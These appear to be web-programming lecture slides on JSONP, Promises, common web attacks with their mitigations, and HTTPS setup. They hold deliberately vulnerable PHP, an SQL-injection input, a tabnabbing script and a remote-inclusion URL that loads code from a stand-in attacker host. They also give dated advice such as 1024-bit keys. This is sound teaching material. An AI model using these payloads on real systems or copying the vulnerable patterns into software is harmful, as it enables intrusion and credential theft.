Outline

• JSONP
• Promises
• XSS
• CSRF
• Quiz
• Inclusion Attacks
• SQL Injection Attacks
• Click-Jacking
• target="_blank" Attacks
• HTTPS

JSONP

• You might wonder if there is a more client-side way to do proxying in the case where we can't add code to our server to make the proxy request. For example, suppose our hosting doesn't allow curl requests.
• One way to fake this is to use a web service that can respond with JSONP (JSON with Padding).
• Such a service returns the JSON data within a Javascript function call of the requester's choice.
• For example, the request:
  https://www.yioop.com/s/news?f=json&callback=myHandleDataCode
  return data that looks like:

  // API callback
  myHandleDataCode({"language":"en-US","link":"http...etc...etc ...});
  

• So in my HTML page I could have the script tags:

  <script>
  function myHandleDataCode(obj)
  {
      // do something pretty with json data
  }
  <script>
  <script src="https://www.yioop.com/s/news?f=json&callback=myHandleDataCode" />
  

Promises

• Using XHR requests involve setting up a callback which is executed later after some event occurs.
• Since about 2014 most major browsers support in Javascript a generic mechanism for doing this called Promises.
• Suppose one was reading a PDF through the Javascript PDF viewer PDFJS. Then one left the site and came back. Suppose the script stored your previous location and now needs to restore it, but it first must wait until the pdf you were viewing has downloaded.
• You could do this with code like:

  <script src="http://url_for_pdf.js/pdf.js" ></script>
  <script>
  
  function renderPdfPage(media_obj, num)
  {
      if (media_obj.reflect_rendering) {
          return;
      }
      var media_name = media_obj.reflect_name;
      media_obj.reflect_page_num = num;
      media_obj.reflect_rendering = true;
      media_obj.getPage(num).then(function(page) {
          var viewport = page.getViewport(1.5,
              parseInt(media_obj.reflect_orientation));
          var canvas = document.getElementById('area-' + media_name);
          var context = canvas.getContext('2d');
          canvas.height = viewport.height;
          canvas.width = viewport.width;
          var renderContext = {
              canvasContext: context,
              viewport: viewport
          };
          var renderTask = page.render(renderContext);
          renderTask.promise.then(function () {
              media_obj.reflect_rendering = false;
          });
      });
  }
  PDFJS.getDocument(url_of_document_viewing).then(
      function (pdf) {
          if (localStorage) {
               old_page = localStorage.getItem(url_of_document_viewing_old_page);
               renderPdfPage(pdf, old_page);
          } else {
               renderPdfPage(pdf, 1);
          }
      }
  );
  </script>
  

• The general format of a Javascript promise is

  my_promise = new Promise( function (resolve, reject) {
     /* this is the main code that your promise executes.
        request and reject are two callbacks your promise
        calls on success or failure.
      */
  } );
  // to use the promise we then have code like:
  my_promise.then(function(arg_list) {
     // when anonymous function above calls resolve this code runs.
  }).catch(function(arg_list) {
     // when anonymous function above calls reject this code runs.
  } )
   
  

Attacking Web-sites

• We are next going to look at different ways a web-site might be attacked and we are going to try to find ways to mitigate these attacks.
• These attacks are: XSS, CSRF, inclusion attacks, SQL-injection attacks, and click-jacking.
• We will then briefly discuss HTTPS.

XSS

• XSS stands for Cross-Site Scripting. Notice the initials are actually CSS but that already means cascading stylesheets.
• There are several variants of XSS, some are as simple as embedding bad links into emails.
• Usually, though this vulnerability is caused when:
  • a website has a form on it
  • a malicious user or robot enters data into the form that contains code (say HTML, Javascript)
• The form data is later displayed to other users, say because it was a comment to a blog entry or a guestbook entry, or a post to a newsgroup, etc.
• Merely viewing the post causes, cookies, etc of the viewer to be sent to the malicious user who then uses them for evil.

Mitigations

• Validate input from users! Treat all data posted from forms as tainted and use things like htmlentities to encode it before ever displaying it.
• Try to filter certain kinds of input (like scripts)
• If your site uses cookies make sure to tie the cookie to the IP address so it can't be used by a malicious third party.

CSRF

• CSRF stands for Cross-site Request Forgery. Here is the idea of this attack
• Suppose a user logs into his online bank.
• The bank stores a cookie on his machine and only uses that to check if he is logged in.
• The user browses to some other site (not the bank) with malware in it and clicks on an image link that actually contains a URL for the bank together with an action like do a money transfer to a bad person.
• Since the user still has the banks cookie, the transaction goes ahead without the user even knowing.

Mitigations

• Include user specific tokens in forms, so form data won't be used to take actions on databases unless that token is present.
• Check the referrer of any data sent to your server.
• As a user make sure to log-off sites before browsing elsewhere.

Quiz

Which of the following statements is true?

1. You cannot set the innerHTML property of a p tag in Javascript.
2. You can define a new XML tag using the command <!ENTITY ...
3. REST is a technique for writing web services.

Inclusion Attacks

• One lazy way to control a two column layout is to do something like:

  <html><head>...</head>
     <body>
       <div id="leftcolumn">
         <ul><li><a href="?c=n.html">News</a></li>
          <li><a href="?c=d.html">Discussions</a></li></ul>
       </div>
        <div id="content">
         <?php if(isset($_GET['c'])){include($_GET['c']);}
               else {include("default.php");} ?>
        </div></body></html>
  

More on Inclusion Attacks

• This opens a site to attacks especially if allow_url_fopen or allow_url_include is set to true in the php.ini file.
• This is often set on if you are using some Drupal modules.
• Suppose your site was somewhere.com.
• Then to attack your site, I can type:

  http://somewhere.com/?c=http://www.mymalicioussite.com/evilscript.php
  

• Then evilscript.php from my site gets to run on your machine with the Webserver privileges.

Mitigations

• Turn off allow_url_fopen and allow_url_include (latter more dangerous).
• Validate any data in variables used before using them to include scripts.

SQL Injection Attacks and Prevention

• Another kind of attack on a web-site's forms is to carefully fill out form variables to break the PHP script behind the forms variables.
• Consider the following SQL which might be used to insert into a database:

  $sql = "INSERT INTO   users (reg_username, reg_password, reg_email)  VALUES 
        ('{$_POST['reg_username']}', $_POST[ '$reg_password'], '{$_POST['reg_email']}')"; 
  

• What if the posted reg_username is:

  bad_guy', 'mypass', ''), ('good_guy  
  

  ?
• You can use PHP commmands like: mysqli_escape_string() or addslashes around the posted variable to prevent this problem.
• Better yet, use prepared statements rather than ad hoc queries like the above -- they are both faster and safer.

Click-Jacking

• Click-jacking attempts to get the user to click on a important button or type in important data of one of the sites they frequently go to. The user types or clicks in this data while thinking they haven't ever navigated to the frequently visited site.
• As an example, by accident the user goes to the malicious site. The screen looks legitimate. Secretly, an iframe is loaded and using CSS its opacity is set to 0 (transparent).
• The page itself which is positioned over the iframe page might have an interesting button, that purports to show something like Katy Perry's duet with Elmo.
• Setting the CSS z-index value of the button behind the iframe (which is transparent so can't be seen) makes this button actually behind the 1-click purchase button on Amazon. If the user clicks on what the user thinks is a Elmo button, the user actually purchases something lame from the attacker if they happen to be logged-in to Amazon.

Mitigations

• There are some browser extensions which can help prevent click-jacking such as NoScript.
• IE8 was the first browser to incorporate a solution that works effectively. It has been adopted by all the major browser.
• The idea is the browser when it loads a page -- the important case is into an iframe -- is supposed to check if a X-Frame-Options or content-security-policy frame-ancestors 'self' header was sent.
• If it was sent and has value deny, then the page should not be loaded into a frame. If it has the value same-origin it should only be loaded into a frame on a page from the same host.

target="_blank" Attack

• If an anchor tag has the target="_blank" attribute. Then clicking on that link will open a new tab. For example, this link uses a target="_blank" attribute: CS 174 Homepage in a New Tab.
• Some websites by default add this attribute to links that leave the site. Further they allow people to put links in posts, comments, etc.
• Javascript in a tab opened by target blank has access to the parent tab:

  <script>
  document.write("<button onclick='childOpener()'>Open Child Tab</button>");
  function childOpener()
  {
   var child_tab = window.open("", "_blank"); // aside: replace "" with some url 
                                              // if want to open tab at diff site
   child_tab.document.write(
    "<!DOCTYPE html>" +
    "<html><head><title>Child Script Test</title></head>" +
    "<body>" +
    "<p><button onclick='changeParent()'>Change Parent</button></p>" +
    "<script>" +
    "function changeParent() {" +
    " window.opener.document.write('<p>New content for parent tab</p>');" +
    " window.opener.document.stop()" +
    "} <" + "/script></body></html>");
   child_tab.stop();
   child_tab.focus();
  
  }
  </script>
  

• So the attackers post a link to a malicious site on Facebook (was vulnerable to this attack until recently) or wherever.
• When the malicious site gets opened in a new tab, it overwrites the old tab to make it look like the log in page for the site. I.e., it looks like the log in page for say Facebook.
• If a user enters their credentials, however, they are really entering them on a site that is controlled by the attackers, so their logins and passwords are stolen.

Mitigations

• Anchor tags have a rel attribute which can be used to tell the browser not to allow a child tab to be able to script the parent tab.
• To prevent the attack, should set as rel="noopener noreferrer". I.e.,

  <a href="http://somewhere.com/" target="_blank" rel="noopener noreferrer">Go Somewhere</a>
  

HTTPS and the Secure Socket Layer

• When we use HTTP to browse the web, data is typically sent over a TCP connection and is not encrypted.
• This is bad if we want to keep things like our credit card info secret.
• Shortly after the web became popular, Netscape proposed using HTTP over a Secure Socket Layer (SSL).
• When you see a page with the https: uri schema, SSL is being used to encrypt the data that is sent in the TCP connection. https uses port 443 rather than port 80.

HTTPS: How it works

• First, a socket connection is made to the server on port 443 using TCP.
• Then the browser attempts to establish an SSL connection with the server:
• Browser sends a cipher list, and a random string RA (nonce)
• The server replies with a certificate signed by some certificate authority, a cipher its willing to use from clients list, and a nonce RB.
• The client checks if the certificate has been signed by a certificate authority it knows by applying public keys of known authorities to the certificate, if it checks, a pre-session key is created and encrypted with the server's public key, this is sent with encryptions of hashes of previous messages, making use of the nonces and a client literal string.
• The server replies with a hash of the previous messages, a server literal, and a key made from a hash of the pre-session key and the nonces.
• Secure communication is then done using the hash of the pre-session key and the two nonces, as the session key.
• This communication in HTTPS consists then of encrypted regular HTTP commands.

Configuring Apache for SSL

• To use SSL with Apache you need to load the SSL module. For example, you might have to uncomment a line like:

  LoadModule ssl_module libexec/apache2/mod_ssl.so
  

• Usually most of the SSL directives are in a separate configuration file which is included into httpd.conf.
• Find this file and then look for a <VirtualHost _default_:443> directive. There should be a DocumentRoot directive within this that let's you set the root directory for https connections.
• You will also see somewhere in this configuration file the directives: SSLCertificateKeyFile and SSLCertificateFile. These should point at a reasonable server.key and server.crt file.

  server.key and server.crt
  

• These are needed for Step 2 of our description a couple slides back for SSL.
• To get certificates which will work will work without complaints with most browsers you need to buy one from a company like Verisign or Thawte.
• Alternatively, for testing purposes you can create a self-signed certificate.

Creating a self-signed certificate

• First, you need to get a tool to do the necessary cryptography such as openssl (http://www.openssl.org)
• Then one first generates a private key:

  openssl genrsa -des3 -out server.key 1024
  

• Next one generates a certificate signing request (CSR -- this is actually what you would give to Verisign or Thawte if you were buying a certificate).

  openssl req -new -key server.key -out server.csr
  

• Generate a self-signed certificate:

  openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt(
  

• Put server.key and server.crt in the correct places, restart server.
• Note some packages like XAMPP already come with self-signed certificates.

Using Openssl as a Client

• Openssl can be used to test out an https website in a similar fashion to how we were using telnet before:

  openssl s_client -crlf -connect pollett.org:443
  ...This will print info about the establishment of the SSL 
  connection including SSL certificate and handshake, after which
  you can enter normal HTTP commands ...
  GET / HTTP/1.1
  Host: pollett.org
  
  ...get web page page...
  

• If you don't want to see the SSL certificate and handshake info, you can add the option -quiet.